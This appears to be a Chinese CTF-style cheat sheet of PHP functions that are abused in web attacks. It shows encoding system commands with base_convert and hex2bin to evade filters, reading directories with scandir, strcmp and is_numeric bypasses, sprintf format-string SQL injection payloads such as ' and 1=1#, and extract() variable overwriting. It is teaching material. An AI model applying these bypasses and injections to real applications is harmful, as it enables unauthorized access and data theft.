绕过函数

base_convert

可用以绕过执行一些系统命令

base_convert('phpinfo',36,10) ==> 55490343972
base_convert(55490343972,10,36)() ==> phpinfo()

hex2bin

dechex

hexdec

例:cat *的16进制为636174202a

hexdec(636174202a) ==> 426836762666
hex2bin(dechex(426836762666)) ==> cat *

读取数据函数

scandir

readfile

chr

var_dump

var_dump(scandir(chr(47)))    读取当前目录文件

show_source

可现显示php代码,用于data://协议中来读取代码

漏洞函数

strcmp

int strcmp(string $str1, string $str2)

str1为第一个字符串,str2为第二个字符串,如果str1小于str2返回<0如果str1大于str2返回>0;如果二者相等,返回0

但是当我们传入数组的时候,函数接收到不合法的字符后会报错,但是在php5.3之前的php中,显示了报错的警告信息后将return 0;意思是就算报了错,但判定结果还是相等的,即可通过数组进行绕过

is_numeric

函数检测变量是否为数字或数字字符串,是则返回true,否则返回false,但是该函数对于空字符(如:%00%20)则会直接跳过空字符判断,执行后面的语句,是判断则会接着继续后面的判断,注:%20放在字符串首则无效,例:

sprintf()

参考:http://bey0nd.xyz/2018/11/05/1/

sprintf(format,arg1,arg2,arg++)
arg1、arg2、arg++ 参数将被插入到主字符串中的百分号(%)符号处。该函数是逐步执行的。在第一个 % 符号处,插入 arg1,在第二个 % 符号处,插入 arg2,依此类推。
注释:如果 % 符号多于 arg 参数,则您必须使用占位符。占位符位于 % 符号之后,由数字和 "\$" 组成。

反斜杠单引号逃逸

<?php
$sql = "select * from user where username = '%\' and 1=1#';" ;
$args = "admin" ;
echo  sprintf ( $sql , $args ) ;

=> echo sprintf("select * from user where username = '%\' and 1=1#';", "admin");
此时%\回去匹配admin字符串,但是%\只会匹配空
运行后的结果
select * from user where username = '' and 1=1#'

<?php
$input = addslashes ("%1$' and 1=1#" );
$b = sprintf ("AND b='%s'", $input );
$sql = sprintf ("SELECT * FROM t WHERE a='%s' $b ", 'admin' );

$input$b进行了拼接
$sql = sprintf ("SELECT * FROM t WHERE a='%s' AND b='%1$\' and 1=1#' ", 'admin' );
很明显,这个句子里面的\是由addsashes为了转义单引号而加上的,使用%s%1$\类匹配admin,那么admin只会出现在%s里,%1$\为空
echo $sql ;
运行后的结果
SELECT * FROM t WHERE a='admin' AND b='' and 1=1#'

%c利用

<? php
$input1 = '%1$c) OR 1 = 1 /*' ;
$input2 = 39 ;
$sql = "SELECT * FROM foo WHERE bar IN (' $input1 ') AND baz = %s" ;
$sql = sprintf ( $sql , $input2 );
echo  $sql ;

%c起到了类似chr()的效果,将数字39转化为',从而导致了sql注入。

SELECT * FROM foo WHERE bar IN ('') OR 1 = 1 /*) AND baz = 39

extract

extract() 函数从数组中将变量导入到当前的符号表。参考

如果未设置EXTR_SKIP,则会导致变量覆盖,参考

注:覆盖的是原来已经设置的或没设置的值,如果在函数后面又重新设置了这个值,则会再覆盖回去,可以参考本博客的反序列化-安洵杯-2019-easy_serialize_php